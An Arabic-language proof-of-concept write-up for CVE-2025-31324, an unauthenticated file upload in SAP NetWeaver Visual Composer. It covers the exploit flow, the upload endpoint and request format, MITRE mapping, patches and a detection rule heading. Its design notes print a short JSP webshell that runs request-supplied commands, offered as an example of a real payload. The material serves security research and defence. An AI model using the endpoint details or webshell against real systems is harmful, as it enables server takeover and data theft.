
إثبات مفهوم لاستغلال CVE-2025-31324، وهو رفع ملفات غير مصادق عليه في SAP NetWeaver Visual Composer، مع إرشادات الكشف، وربط MITRE، وخطوات المعالجة.
النوع: إثبات المفهوم — بحث في الثغرات CVE: CVE-2025-31324 CVSS: 10.0 حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) الحالة: تم التصحيح — ملاحظة أمان SAP 3594142 + 3604119 أُضيف إلى CISA KEV: مايو 2025
⚠️ يستخدم إثبات المفهوم هذا ملف JSP غير ضار ("Hello World") للتحقق من سطح الهجوم دون تنفيذ تعليمات برمجية خبيثة. يُستخدم حصريًا في بيئات مصرح بها لأغراض اختبار الاختراق وتطوير أنظمة الكشف.
تم التطوير بواسطة: HKK$ cat ./vulnerability_summary.txtتقع ثغرة CVE-2025-31324 في مكوّن Visual Composer Metadata Uploader الخاص بـ SAP NetWeaver AS Java — وهي خلل في التحقق المفقود من التفويض يسمح لأي مهاجم غير مصادق عليه بإرسال طلبات POST إلى نقطة النهاية /developmentserver/metadatauploader، مما يؤدي إلى رفع غير مقيد لملفات عشوائية.
تؤثر CVE تحديدًا على SAP NetWeaver Visual Composer Framework الإصدار 7.50، بدرجة CVSS 10.0 — وهي أقصى درجة ممكنة.
استغل المهاجمون هذه الثغرة بنشاط من يناير إلى مايو 2025، حيث قاموا بنشر ويب شيلات دائمة في مئات الأنظمة حول العالم.
$ cat ./impact.txtنظرًا لأنها تعمل بامتيازات مرتفعة وقريبة من بيانات ERP، فإن الحركة الجانبية إلى حزم SAP ABAP أو قواعد البيانات المتصلة تكون تافهة بعد الاستغلال.
سلسلة الاستغلال الكاملة في الهجمات الحقيقية:
Upload JSP (CVE-2025-31324)
→ Webshell دائم على الخادم
→ RCE كعملية SAP (امتياز عالٍ)
→ الوصول إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)
→ حركة جانبية إلى ABAP / DB
→ نشر أطر C2 (مثل: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — تدفق الاستغلال │
│ │
│ المهاجم SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ الجسم: ملف JSP/WAR/أي شيء ──────────► │ Metadata Uploader │ │
│ (بدون مصادقة) │ │ │
│ │ ❌ بدون تحقق من │ │
│ │ المصادقة │ │
│ │ ❌ بدون تحقق من │ │
│ │ الامتداد │ │
│ │ ❌ بدون تنظيف │ │
│ │ للمحتوى │ │
│ └────────┬────────────┘ │
│ │ │
│ يُحفظ الملف في: │
│ /irj/root/ أو ما شابه │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (إثبات مفهوم غير ضار) │
│ → Webshell (استغلال حقيقي) │
└─────────────────────────────────────────────────────────────────────────┘
يعد /developmentserver/metadatauploader جزءًا من SAP Visual Composer — وهي أداة تطوير low-code لمحللي الأعمال لإنشاء تطبيقات SAP دون كتابة كود Java. صُممت نقطة النهاية لاستقبال نماذج البيانات الوصفية أثناء التطوير. على الرغم من أن المكوّن غير مفعّل في التكوين الافتراضي لـ NetWeaver، أبلغت Onapsis أنه مفعّل على نطاق واسع في بيئات الإنتاج.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
لماذا JSP وليس تنسيقًا آخر؟
يقوم SAP NetWeaver AS Java بتشغيل JVM — يتم تفسير ملفات .jsp مباشرة بواسطة حاوية servlet (Apache Tomcat المدمج) دون تجميع مسبق. وهذا يجعل JSP التنسيق المثالي للويب شيلات في بيئات Java.
اختيار المحتوى غير الضار ("Hello World") مقصود لإثبات المفهوم:
في الاستغلال الحقيقي، سيكون المحتوى ويب شيل JSP مع تنفيذ أوامر، مثال:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — لماذا هذا النوع من المحتوى؟files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
تتوقع نقطة النهاية طلب multipart/form-data — وهو نفس التنسيق المستخدم في نماذج HTML لرفع الملفات. هذا مقصود في التصميم الأصلي لـ Visual Composer (رفع نماذج التطوير).
تقوم مكتبة requests تلقائيًا ببناء حدود multipart عند تمرير files= — يتم إنشاء الترويسة Content-Type: multipart/form-data; boundary=... داخليًا.
verify=False: يعطل التحقق من شهادة TLS — ضروري لأن بيئات SAP غالبًا ما تستخدم شهادات موقعة ذاتيًا. في الإنتاج، استخدم verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| المكوّن | المعنى |
|---|---|
:50201 | المنفذ الافتراضي لـ SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet التطوير الخاص بـ Visual Composer |
metadatauploader | نقطة النهاية المحددة لرفع البيانات الوصفية |
CONTENTTYPE=MODEL | نوع المحتوى المتوقع من نقطة النهاية |
CLIENT=1 | عميل SAP — 000، 100، 001 شائعة |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# استغلال نقطة النهاية /developmentserver/metadatauploader
# بدون مصادقة عبر HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# رفع JSP webshell → تنفيذه بواسطة حاوية servlet (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell كآلية استمرارية
# ملف JSP يبقى في نظام ملفات الخادم بين عمليات إعادة التشغيل
tactic: Defense Evasion
- T1036 # Masquerading
# تسمية الويب شيلات كملفات SAP شرعية (مثل: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# بعد RCE: تعداد العمليات والمستخدمين ومسارات SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# الوصول إلى حزمة ABAP وقواعد البيانات المتصلة عبر RCE
tactic: Collection
- T1005 # Data from Local System
# وصول مباشر إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)
$ cat ./affected_versions.txtالمنتج: SAP NetWeaver Application Server Java
المكوّن: Visual Composer Framework
الإصدار: 7.50 (جميع الإصدارات قبل تصحيح أبريل/مايو 2025)
التصحيحات:
SSN 3594142 → التصحيح الأولي (أبريل 2025) — يخفف من رفع الملفات
SSN 3604119 → إصلاح السبب الجذري عبر CVE-2025-42999 (مايو 2025) — يعالج السبب الجذري
SSN 3578900, 3620498, 3621771, 3634501 → ملاحظات تقوية تكميلية
CISA KEV: تمت إضافة كل من CVE-2025-31324 و CVE-2025-42999 إلى الكتالوج
$ cat ./detection_opportunities.md# قاعدة: POST غير مصادق عليه لنقطة نهاية Metadata Uploader
# المصدر: سجل وصول SAP Web Dispatcher / ICM